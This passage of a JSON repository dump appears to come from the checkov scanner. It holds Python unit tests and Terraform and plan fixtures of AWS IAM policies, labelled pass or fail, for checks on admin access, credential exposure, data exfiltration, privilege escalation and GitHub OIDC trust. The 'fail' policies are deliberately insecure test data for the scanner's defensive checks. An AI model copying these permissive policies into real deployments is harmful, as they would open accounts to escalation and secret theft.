self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_self_indirection(self):\n        case = {\n            \"consumer\": \"${self:custom.forward} ${self:custom.four}\",\n            \"custom\": {\n                \"four\": \"4\",\n                \"two\": \"2\",\n                \"one\": \"1\",\n                \"forward\": \"${self:custom.one} ${self:custom.two} ${self:custom.three}\",\n                \"three\": \"${self:custom.tres}\",\n                \"tres\": \"3\"\n            }\n        }\n        expected = {\n            \"consumer\": \"1 2 3 4\",\n            \"custom\": {\n                \"four\": \"4\",\n                \"two\": \"2\",\n                \"one\": \"1\",\n                \"forward\": \"1 2 3\",\n                \"three\": \"3\",\n                \"tres\": \"3\"\n            }\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_self_circular_ref(self):\n        case = {\n            \"custom\": {\n                \"thing1\": \"${self:custom.thing2}\",\n                \"thing2\": \"${self:custom.thing1}\"\n            }\n        }\n        result = process_variables(case, IRRELEVANT_DIR)\n        # Undefined which will be picked, but won't be fully resolved\n        self.assertTrue(result[\"custom\"][\"thing1\"].startswith(\"${self:custom.thing\"))\n        self.assertTrue(result[\"custom\"][\"thing2\"].startswith(\"${self:custom.thing\"))\n\n    def test_self_reference(self):\n        case = {\n            \"me\": \"${self:me}\"\n        }\n        expected = {\n            \"me\": \"${self:me}\"\n        }\n        # Should just finish, no hang, no changes\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_nested(self):\n        case = {\n            \"second-value\": \"final\",\n            \"first-value\": \"second\",\n            \"consumer\": \"${self:${self:first-value}-value}\"\n        }\n        expected = {\n            \"second-value\": \"final\",\n            \"first-value\": \"second\",\n            \"consumer\": \"final\"\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_overwriting_variables(self):\n        case = {\n            \"fallback\": \"final\",\n            \"value\": \"${self:doesnt-exist, self:fallback}\"\n        }\n        expected = {\n            \"fallback\": \"final\",\n            \"value\": \"final\"\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_custom_variable_syntax(self):\n        case = {\n            \"provider\": {\n                \"variableSyntax\": \"\\\\${{([ ~:a-zA-Z0-9._@\\\\'\\\",\\\\-\\\\/\\\\(\\\\)]+?)}}\"\n            },\n            \"custom\": {\n                \"consumer\": \"${{self: custom.source}}\",\n                \"source\": \"final\"\n            }\n        }\n        expected = {\n            # NOTE: variableSyntax entry is removed to prevent self-matching\n            \"provider\": {},\n            \"custom\": {\n                \"consumer\": \"final\",\n                \"source\": \"final\"\n            }\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_deep_var_override(self):\n        case = {\n            \"custom\": {\n                \"val1\": \"${self:not.a.value, 'bar'}\",\n                \"val2\": \"${self:custom.val1}\"\n            }\n        }\n        expected = {\n            \"custom\": {\n                \"val1\": \"bar\",\n                \"val2\": \"bar\"\n            }\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_deep_references_into_deep_vars(self):\n        case = {\n            \"custom\": {\n                \"val0\": {\n                    \"foo\": \"bar\"\n                },\n                \"val1\": '${self:custom.val0}',\n                \"val2\": '${self:custom.val1.foo}',\n            }\n        }\n        expected = {\n            \"custom\": {\n                \"val0\": {\n                    \"foo\": 'bar',\n                },\n                \"val1\": {\n                    \"foo\": 'bar',\n                },\n                \"val2\": 'bar',\n            }\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_quoted_vars(self):\n        case = {\n            \"consumer\": \"${self: custom.bogus, \\\"value, with, commas\\\"}\",\n        }\n        expected = {\n            \"consumer\": \"value, with, commas\"\n        }\n        self.assertEqual(expected, process_variables(case, IRRELEVANT_DIR))\n\n    def test_tokenize_by_commas(self):\n        self.assertEqual([\"single\"],\n                         _tokenize_by_commas(\"single\"))\n        self.assertEqual([\"one\", \"two\"],\n                         _tokenize_by_commas(\"one,two\"))\n        self.assertEqual([\"one\", \"two\"],\n                         _tokenize_by_commas(\"one, two\"))\n        # Double quotes\n        self.assertEqual([\"separate\", \"commas, in, value\", \"another\"],\n                         _tokenize_by_commas(\"separate, \\\"commas, in, value\\\", another\"))\n        self.assertEqual([\"commas, in, value\", \"another\"],\n                         _tokenize_by_commas(\"\\\"commas, in, value\\\", another\"))\n        self.assertEqual([\"separate\", \"commas, in, value\"],\n                         _tokenize_by_commas(\"separate, \\\"commas, in, value\\\"\"))\n        # Single quotes\n        self.assertEqual([\"separate\", \"commas, in, value\", \"another\"],\n                         _tokenize_by_commas(\"separate, 'commas, in, value', another\"))\n        self.assertEqual([\"commas, in, value\", \"another\"],\n                         _tokenize_by_commas(\"'commas, in, value', another\"))\n        self.assertEqual([\"separate\", \"commas, in, value\"],\n                         _tokenize_by_commas(\"separate, 'commas, in, value'\"))\n\n    def test_token_to_type_and_loc(self):\n        self.assertEqual((\"self\", \"foo\"),\n                         _token_to_type_and_loc(\"self:foo\"))\n        self.assertEqual((\"self\", \"foo\"),\n                         _token_to_type_and_loc(\"self: foo\"))\n        self.assertEqual((\"something_made_up\", \"bar\"),\n                         _token_to_type_and_loc(\"something_made_up:bar\"))\n        self.assertEqual((\"file(~/settings.yaml)\", \"foo\"),\n                         _token_to_type_and_loc(\"file(~/settings.yaml):foo\"))\n        self.assertEqual((\"file(~/settings.yaml)\", None),\n                         _token_to_type_and_loc(\"file(~/settings.yaml)\"))\n\n    def test_parse_var(self):\n        self.assertEqual((\"self\", \"foo\", \"self\", \"bar\"),\n                         _parse_var(\"self:foo,self:bar\"))\n        self.assertEqual((\"self\", \"foo\", None, \"bar\"),\n                         _parse_var(\"self:foo,bar\"))\n        self.assertEqual((\"file(settings.yaml)\", \"foo\", \"self\", \"bar\"),\n                         _parse_var(\"file(settings.yaml):foo,self:bar\"))\n        self.assertEqual((\"file(settings.yaml)\", \"foo\", None, None),\n                         _parse_var(\"file(settings.yaml):foo\"))\n        self.assertEqual((\"file(settings.yaml)\", None, None, None),\n                         _parse_var(\"file(settings.yaml)\"))\n\n        self.assertEqual((\"self\", \"foo\", None, None),\n                         _parse_var(\"self: foo\"))       # eat whitespace\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/serverless/test_scanner_registry.py",
    "content": "import unittest\n\nfrom checkov.serverless.registry import sls_registry\n\n\nclass TestScannerRegistry(unittest.TestCase):\n\n    def test_num_of_scanners(self):\n        scanners_counter = 0\n        for key in list(sls_registry.checks.keys()):\n            scanners_counter += len(sls_registry.checks[key])\n\n        self.assertGreater(scanners_counter, 1)\n\n    def test_non_colliding_check_ids(self):\n        check_id_check_class_map = {}\n        for (resource_type, checks) in sls_registry.checks.items():\n            for check in checks:\n                check_id_check_class_map.setdefault(check.id, []).append(check)\n\n        for check_id, check_classes in check_id_check_class_map.items():\n            self.assertEqual(len(set(check_classes)), 1)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/data/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/data/aws/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/data/aws/example_AdminPolicyDocument/main.tf",
    "content": "# pass\n\ndata \"aws_iam_policy_document\" \"pass\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"s3:Describe*\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\ndata \"aws_iam_policy_document\" \"list\" {\n  version = \"2012-10-17\"\n\n  statement = [{\n    actions = [\n      \"s3:GetObject\"\n    ]\n    resources = [\n      \"${aws_s3_bucket.default.arn}/*\"\n    ]\n\n    principals {\n      type        = \"AWS\"\n      identifiers = [\"*\"]\n    }\n  }]\n\n  # Support replication ARNs\n  statement = [\"${flatten(data.aws_iam_policy_document.replication.*.statement)}\"]\n\n  # Support deployment ARNs\n  statement = [\"${flatten(data.aws_iam_policy_document.deployment.*.statement)}\"]\n}\n\n# fail\n\ndata \"aws_iam_policy_document\" \"fail\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"*\"\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\ndata \"aws_iam_policy_document\" \"no_effect\" {\n  version = \"2012-10-17\"\n\n  statement {\n    actions = [\n      \"*\"\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\n# unknown\n\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_CloudSplainingCredentialsExposure/main.tf",
    "content": "# pass\n\ndata \"aws_iam_policy_document\" \"allowed_action\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n        \"ecr:GetAuthorizationToken\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\ndata \"aws_iam_policy_document\" \"deny\" {\n  version = \"2012-10-17\"\n\n  statement {\n   sid       = \"DenyOutsideCallers\"\n   effect    = \"Deny\"\n   actions   = [\"*\"]\n   resources = [\"*\"]\n\n   condition {\n     test     = \"NotIpAddress\"\n     variable = \"aws:SourceIp\"\n     values = [\n       \"1.2.3.4/16\"\n     ]\n   }\n\n   condition {\n     test     = \"Bool\"\n     variable = \"aws:ViaAWSService\"\n     values   = [\"false\"]\n   }\n }\n}\n\ndata \"aws_iam_policy_document\" \"pass\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n        \"lambda:CreateFunction\",\n        \"lambda:CreateEventSourceMapping\",\n        \"dynamodb:CreateTable\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\n# fail\n\ndata \"aws_iam_policy_document\" \"fail\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"s3:GetObject\",\n      \"iam:CreateAccessKey\"\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\n# unknown\n\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_CloudSplainingDataExfiltration/main.tf",
    "content": "# pass\n\ndata \"aws_iam_policy_document\" \"pass\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"lambda:CreateFunction\",\n      \"lambda:CreateEventSourceMapping\",\n      \"dynamodb:CreateTable\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\n# fail\n\ndata \"aws_iam_policy_document\" \"fail\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"iam:PassRole\",\n      \"ssm:GetParameter\",\n      \"s3:GetObject\",\n      \"ssm:GetParameter\",\n      \"ssm:GetParameters\",\n      \"ssm:GetParametersByPath\",\n      \"secretsmanager:GetSecretValue\",\n      \"s3:PutObject\",\n      \"ec2:CreateTags\"\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\n# unknown\n\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_CloudSplainingPrivilegeEscalation/main.tf",
    "content": "# pass\n\ndata \"aws_iam_policy_document\" \"pass\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"lambda:CreateFunction\",\n      \"lambda:CreateEventSourceMapping\",\n      \"dynamodb:CreateTable\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\n# fail\n\ndata \"aws_iam_policy_document\" \"fail\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"iam:PassRole\",\n      \"lambda:CreateFunction\",\n      \"lambda:CreateEventSourceMapping\",\n      \"dynamodb:CreateTable\",\n      \"dynamodb:PutItem\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\n# unknown\n\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_CloudsplainingIAMWrite/main.tf",
    "content": "# pass\n\ndata \"aws_iam_policy_document\" \"restrictable\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"s3:*\",\n    ]\n    resources = [\n      \"arn:aws:s3:::bucket\",\n    ]\n  }\n}\n\ndata \"aws_iam_policy_document\" \"unrestrictable\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"xray:PutTelemetryRecords\",\n      \"xray:PutTraceSegments\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\n# fail\n\ndata \"aws_iam_policy_document\" \"fail\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"s3:*\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\n# unknown\n\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_CloudsplainingPermissionsManagement/main.tf",
    "content": "# pass\n\ndata \"aws_iam_policy_document\" \"pass\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"s3:*\"\n    ]\n    resources = [\n      \"arn:aws:s3:::example\",\n    ]\n  }\n}\n\n# fail\n\ndata \"aws_iam_policy_document\" \"fail\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"iam:*\"\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\n# unknown\n\n"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_GithubActionsOIDCTrustPolicy/main.tf",
    "content": "data \"aws_iam_policy_document\" \"pass_aud_first\" {\n    statement {\n      effect  = \"Allow\"\n      actions = [\"sts:AssumeRoleWithWebIdentity\"]\n\n      principals {\n        type        = \"Federated\"\n        identifiers = [\"arn:aws:iam::000000000000:oidc-provider/token.actions.githubusercontent.com\"]\n      }\n      condition {\n        test     = \"StringEquals\"\n        values   = [\"sts.pass_aud_first.com\"]\n        variable = \"token.actions.githubusercontent.com:aud\"\n      }\n      condition {\n        test     = \"StringLike\"\n        values   = [\"repo:org/our-repo-name:*\"]\n        variable = \"token.actions.githubusercontent.com:sub\"\n      }\n  }\n}\n\n# pass1\n\ndata \"aws_iam_policy_document\" \"pass1\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    actions = [\n      \"lambda:CreateFunction\",\n      \"lambda:CreateEventSourceMapping\",\n      \"dynamodb:CreateTable\",\n    ]\n    resources = [\n      \"*\",\n    ]\n  }\n}\n\n# pass2\n\ndata \"aws_iam_policy_document\" \"pass2\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    action = [\n      \"sts:AssumeRoleWithWebIdentity\"\n    ]\n    principals {\n      identifiers = [\"arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com\"]\n      type        = \"Federated\"\n    }\n    condition {\n      test     = \"StringLike\"\n      values   = [\"repo:myOrg/myRepo:*\"]\n      variable = \"token.actions.githubusercontent.com:sub\"\n    }\n\n    condition {\n      test     = \"StringEquals\"\n      values   = [\"sts.amazonaws.com\"]\n      variable = \"token.actions.githubusercontent.com:aud\"\n    }\n  }\n}\n\n# pass 3\n\ndata \"aws_iam_policy_document\" \"pass3\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    action = [\n      \"sts:AssumeRoleWithWebIdentity\"\n    ]\n    principals {\n      identifiers = [\"arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com\"]\n      type        = \"Federated\"\n    }\n    condition {\n      test     = \"StringEquals\"\n      values   = [\"repo:myOrg/myRepo:ref:refs/heads/MyBranch\"]\n      variable = \"token.actions.githubusercontent.com:sub\"\n    }\n\n    condition {\n      test     = \"StringEquals\"\n      values   = [\"sts.amazonaws.com\"]\n      variable = \"token.actions.githubusercontent.com:aud\"\n    }\n  }\n}\n\ndata \"aws_iam_policy_document\" \"fail1\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    action = [\n      \"sts:AssumeRoleWithWebIdentity\"\n    ]\n    principals {\n      identifiers = [\"arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com\"]\n      type        = \"Federated\"\n    }\n  }\n}\n\ndata \"aws_iam_policy_document\" \"fail2\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    action = [\n      \"sts:AssumeRoleWithWebIdentity\"\n    ]\n    principals {\n      identifiers = [\"arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com\"]\n      type        = \"Federated\"\n    }\n\n    condition {\n      test     = \"StringEquals\"\n      values   = [\"invalid\"]\n      variable = \"token.actions.githubusercontent.com:sub\"\n    }\n  }\n}\n\n# fail for wildcard as condition\ndata \"aws_iam_policy_document\" \"fail-wildcard\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    action = [\n      \"sts:AssumeRoleWithWebIdentity\"\n    ]\n    principals {\n      identifiers = [\"arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com\"]\n      type        = \"Federated\"\n    }\n\n    condition {\n      test     = \"StringEquals\"\n      values   = [\"*\"]\n      variable = \"token.actions.githubusercontent.com:sub\"\n    }\n  }\n}\n# fail for abusable value as condition\ndata \"aws_iam_policy_document\" \"fail-abusable\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    action = [\n      \"sts:AssumeRoleWithWebIdentity\"\n    ]\n    principals {\n      identifiers = [\"arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com\"]\n      type        = \"Federated\"\n    }\n\n    condition {\n      test     = \"StringEquals\"\n      values   = [\"workflow:github-actions:repo:myOrg/myRepo:ref:refs/heads/MyBranch\"]\n      variable = \"token.actions.githubusercontent.com:sub\"\n    }\n  }\n}\n# fail for condition that asserts wildcard\ndata \"aws_iam_policy_document\" \"fail-wildcard-assertion\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    action = [\n      \"sts:AssumeRoleWithWebIdentity\"\n    ]\n    principals {\n      identifiers = [\"arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com\"]\n      type        = \"Federated\"\n    }\n\n    condition {\n      test     = \"StringEquals\"\n      values   = [\"repo:*\"]\n      variable = \"token.actions.githubusercontent.com:sub\"\n    }\n  }\n}\n# fail for misused \"repo\" condition\ndata \"aws_iam_policy_document\" \"fail-misused-repo\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    action = [\n      \"sts:AssumeRoleWithWebIdentity\"\n    ]\n    principals {\n      identifiers = [\"arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com\"]\n      type        = \"Federated\"\n    }\n\n    condition {\n      test     = \"StringEquals\"\n      values   = [\"repo:myOrg*\"]\n      variable = \"token.actions.githubusercontent.com:sub\"\n    }\n  }\n}\n# pass for org only \"repo\" condition\ndata \"aws_iam_policy_document\" \"pass-org-only\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    action = [\n      \"sts:AssumeRoleWithWebIdentity\"\n    ]\n    principals {\n      identifiers = [\"arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com\"]\n      type        = \"Federated\"\n    }\n\n    condition {\n      test     = \"StringEquals\"\n      values   = [\"repo:myOrg/*\"]\n      variable = \"token.actions.githubusercontent.com:sub\"\n    }\n  }\n}\n\n#pass github org\ndata \"aws_iam_policy_document\" \"pass-gh-org\" {\n  version = \"2012-10-17\"\n\n  statement {\n    effect = \"Allow\"\n    action = [\n      \"sts:AssumeRoleWithWebIdentity\"\n    ]\n    principals {\n      identifiers = [\"arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com\"]\n      type        = \"Federated\"\n    }\n    condition {\n      test     = \"StringEquals\"\n      values   = [\"repo:myOrg/myRepo:ref:refs/heads/MyBranch\"]\n      variable = \"token.actions.githubusercontent.com/github-org:sub\"\n    }\n\n    condition {\n      test     = \"StringEquals\"\n      values   = [\"sts.amazonaws.com\"]\n      variable = \"token.actions.githubusercontent.com:aud\"\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/data/aws/example_GithubActionsOIDCTrustPolicy/tfplan.json",
    "content": "{\n  \"format_version\": \"1.2\",\n  \"terraform_version\": \"1.5.7\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"child_modules\": [\n        {\n          \"resources\": [\n            {\n              \"address\": \"module.poc.aws_iam_openid_connect_provider.r5\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_iam_openid_connect_provider\",\n              \"name\": \"r5\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"client_id_list\": [\n                  \"sts.amazonaws.com\"\n                ],\n                \"tags\": null,\n                \"tags_all\": {\n                  \"checkov_uid\": \"CKV_AWS_358\",\n                  \"environment\": \"test\",\n                  \"managed_by\": \"terraform\"\n                },\n                \"thumbprint_list\": [\n                  \"123\"\n                ],\n                \"url\": \"https://accounts.google.com\"\n              },\n              \"sensitive_values\": {\n                \"client_id_list\": [\n                  false\n                ],\n                \"tags_all\": {},\n                \"thumbprint_list\": [\n                  false\n                ]\n              }\n            },\n            {\n              \"address\": \"module.poc.aws_iam_role.r6[\\\"p1\\\"]\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_iam_role\",\n              \"name\": \"r6\",\n              \"index\": \"p1\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"description\": null,\n                \"force_detach_policies\": true,\n                \"inline_policy\": [\n                  {\n                    \"name\": \"eks_s3_access\",\n                    \"policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Action\\\":[\\\"s3:ListBucket\\\"],\\\"Condition\\\":{\\\"StringLike\\\":{\\\"s3:prefix\\\":[\\\"p1/*\\\"]}},\\\"Effect\\\":\\\"Allow\\\",\\\"Resource\\\":[\\\"arn:aws:s3:::\\\"],\\\"Sid\\\":\\\"AllowListingOfUserFolder\\\"}]}\"\n                  }\n                ],\n                \"max_session_duration\": 3600,\n                \"name\": \"r8\",\n                \"path\": \"/\",\n                \"permissions_boundary\": null,\n                \"tags\": null,\n                \"tags_all\": {\n                  \"checkov_uid\": \"CKV_AWS_358\",\n                  \"environment\": \"test\",\n                  \"managed_by\": \"terraform\"\n                }\n              },\n              \"sensitive_values\": {\n                \"inline_policy\": [\n                  {}\n                ],\n                \"managed_policy_arns\": [],\n                \"tags_all\": {}\n              }\n            },\n            {\n              \"address\": \"module.poc.aws_iam_role.r6[\\\"p2\\\"]\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_iam_role\",\n              \"name\": \"r6\",\n              \"index\": \"p2\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"description\": null,\n                \"force_detach_policies\": true,\n                \"inline_policy\": [\n                  {\n                    \"name\": \"eks_s3_access\",\n                    \"policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Action\\\":[\\\"s3:ListBucket\\\"],\\\"Condition\\\":{\\\"StringLike\\\":{\\\"s3:prefix\\\":[\\\"p2/*\\\"]}},\\\"Effect\\\":\\\"Allow\\\",\\\"Resource\\\":[\\\"arn:aws:s3:::\\\"],\\\"Sid\\\":\\\"AllowListingOfUserFolder\\\"}]}\"\n                  }\n                ],\n                \"max_session_duration\": 3600,\n                \"name\": \"r9\",\n                \"path\": \"/\",\n                \"permissions_boundary\": null,\n                \"tags\": null,\n                \"tags_all\": {\n                  \"checkov_uid\": \"CKV_AWS_358\",\n                  \"environment\": \"test\",\n                  \"managed_by\": \"terraform\"\n                }\n              },\n              \"sensitive_values\": {\n                \"inline_policy\": [\n                  {}\n                ],\n                \"managed_policy_arns\": [],\n                \"tags_all\": {}\n              }\n            },\n            {\n              \"address\": \"module.poc.aws_iam_role.r1[\\\"p1\\\"]\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_iam_role\",\n              \"name\": \"r1\",\n              \"index\": \"p1\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"description\": null,\n                \"force_detach_policies\": true,\n                \"inline_policy\": [\n                  {\n                    \"name\": \"eks_s3_access\",\n                    \"policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Action\\\":[\\\"s3:ListBucket\\\"],\\\"Condition\\\":{\\\"StringLike\\\":{\\\"s3:prefix\\\":[\\\"p1/*\\\"]}},\\\"Effect\\\":\\\"Allow\\\",\\\"Resource\\\":[\\\"arn:aws:s3:::\\\"],\\\"Sid\\\":\\\"AllowListingOfUserFolder\\\"}]}\"\n                  }\n                ],\n                \"max_session_duration\": 3600,\n                \"name\": \"r7\",\n                \"path\": \"/\",\n                \"permissions_boundary\": null,\n                \"tags\": null,\n                \"tags_all\": {\n                  \"checkov_uid\": \"CKV_AWS_358\",\n                  \"environment\": \"test\",\n                  \"managed_by\": \"terraform\"\n                }\n              },\n              \"sensitive_values\": {\n                \"inline_policy\": [\n                  {}\n                ],\n                \"managed_policy_arns\": [],\n                \"tags_all\": {}\n              }\n            },\n            {\n              \"address\": \"module.poc.aws_iam_role.r1[\\\"p2\\\"]\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_iam_role\",\n              \"name\": \"r1\",\n              \"index\": \"p2\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"description\": null,\n                \"force_detach_policies\": true,\n                \"inline_policy\": [\n                  {\n                    \"name\": \"eks_s3_access\",\n                    \"policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Action\\\":[\\\"s3:ListBucket\\\"],\\\"Condition\\\":{\\\"StringLike\\\":{\\\"s3:prefix\\\":[\\\"p2/*\\\"]}},\\\"Effect\\\":\\\"Allow\\\",\\\"Resource\\\":[\\\"arn:aws:s3:::\\\"],\\\"Sid\\\":\\\"AllowListingOfUserFolder\\\"}]}\"\n                  }\n                ],\n                \"max_session_duration\": 3600,\n                \"name\": \"r2\",\n                \"path\": \"/\",\n                \"permissions_boundary\": null,\n                \"tags\": null,\n                \"tags_all\": {\n                  \"checkov_uid\": \"CKV_AWS_358\",\n                  \"environment\": \"test\",\n                  \"managed_by\": \"terraform\"\n                }\n              },\n              \"sensitive_values\": {\n                \"inline_policy\": [\n                  {}\n                ],\n                \"managed_policy_arns\": [],\n                \"tags_all\": {}\n              }\n            },\n            {\n              \"address\": \"module.poc.data.aws_iam_policy_document.r4[\\\"p1\\\"]\",\n              \"mode\": \"data\",\n              \"type\": \"aws_iam_policy_document\",\n              \"name\": \"r4\",\n              \"index\": \"p1\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"override_json\": null,\n                \"override_policy_documents\": null,\n                \"policy_id\": null,\n                \"source_json\": null,\n                \"source_policy_documents\": null,\n                \"statement\": [\n                  {\n                    \"actions\": [\n                      \"sts:AssumeRoleWithWebIdentity\"\n                    ],\n                    \"condition\": [\n                      {\n                        \"test\": \"StringEquals\",\n                        \"values\": [\n                          \"sts.amazonaws.com\"\n                        ],\n                        \"variable\": \"accounts.google.com:aud\"\n                      },\n                      {\n                        \"test\": \"StringEquals\",\n                        \"values\": [\n                          \"system:serviceaccount:p1:default\"\n                        ],\n                        \"variable\": \"accounts.google.com:sub\"\n                      }\n                    ],\n                    \"effect\": \"Allow\",\n                    \"not_actions\": null,\n                    \"not_principals\": [],\n                    \"not_resources\": null,\n                    \"principals\": [\n                      {\n                        \"identifiers\": [\n                          \"cognito-identity.amazonaws.com\"\n                        ],\n                        \"type\": \"Federated\"\n                      }\n                    ],\n                    \"resources\": null,\n                    \"sid\": null\n                  }\n                ],\n                \"version\": null\n              },\n              \"sensitive_values\": {\n                \"statement\": [\n                  {\n                    \"actions\": [\n                      false\n                    ],\n                    \"condition\": [\n                      {\n                        \"values\": [\n                          false\n                        ]\n                      },\n                      {\n                        \"values\": [\n                          false\n                        ]\n                      }\n                    ],\n                    \"not_principals\": [],\n                    \"principals\": [\n                      {\n                        \"identifiers\": [\n                          false\n                        ]\n                      }\n                    ]\n                  }\n                ]\n              }\n            },\n            {\n              \"address\": \"module.poc.data.aws_iam_policy_document.r4[\\\"p2\\\"]\",\n              \"mode\": \"data\",\n              \"type\": \"aws_iam_policy_document\",\n              \"name\": \"r4\",\n              \"index\": \"p2\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 0,\n              \"values\": {\n                \"override_json\": null,\n                \"override_policy_documents\": null,\n                \"policy_id\": null,\n                \"source_json\": null,\n                \"source_policy_documents\": null,\n                \"statement\": [\n                  {\n                    \"actions\": [\n                      \"sts:AssumeRoleWithWebIdentity\"\n                    ],\n                    \"condition\": [\n                      {\n                        \"test\": \"StringEquals\",\n                        \"values\": [\n                          \"sts.amazonaws.com\"\n                        ],\n                        \"variable\": \"accounts.google.com:aud\"\n                      },\n                      {\n                        \"test\": \"StringEquals\",\n                        \"values\": [\n                          \"system:serviceaccount:p2:default\"\n                        ],\n                        \"variable\": \"accounts.google.com:sub\"\n                      }\n                    ],\n                    \"effect\": \"Allow\",\n                    \"not_actions\": null,\n                    \"not_principals\": [],\n                    \"not_resources\": null,\n                    \"principals\": [\n                      {\n                        \"identifiers\": [\n                          \"cognito-identity.amazonaws.com\"\n                        ],\n                        \"type\": \"Federated\"\n                      }\n                    ],\n                    \"resources\": null,\n                    \"sid\": null\n                  }\n                ],\n                \"version\": null\n              },\n              \"sensitive_values\": 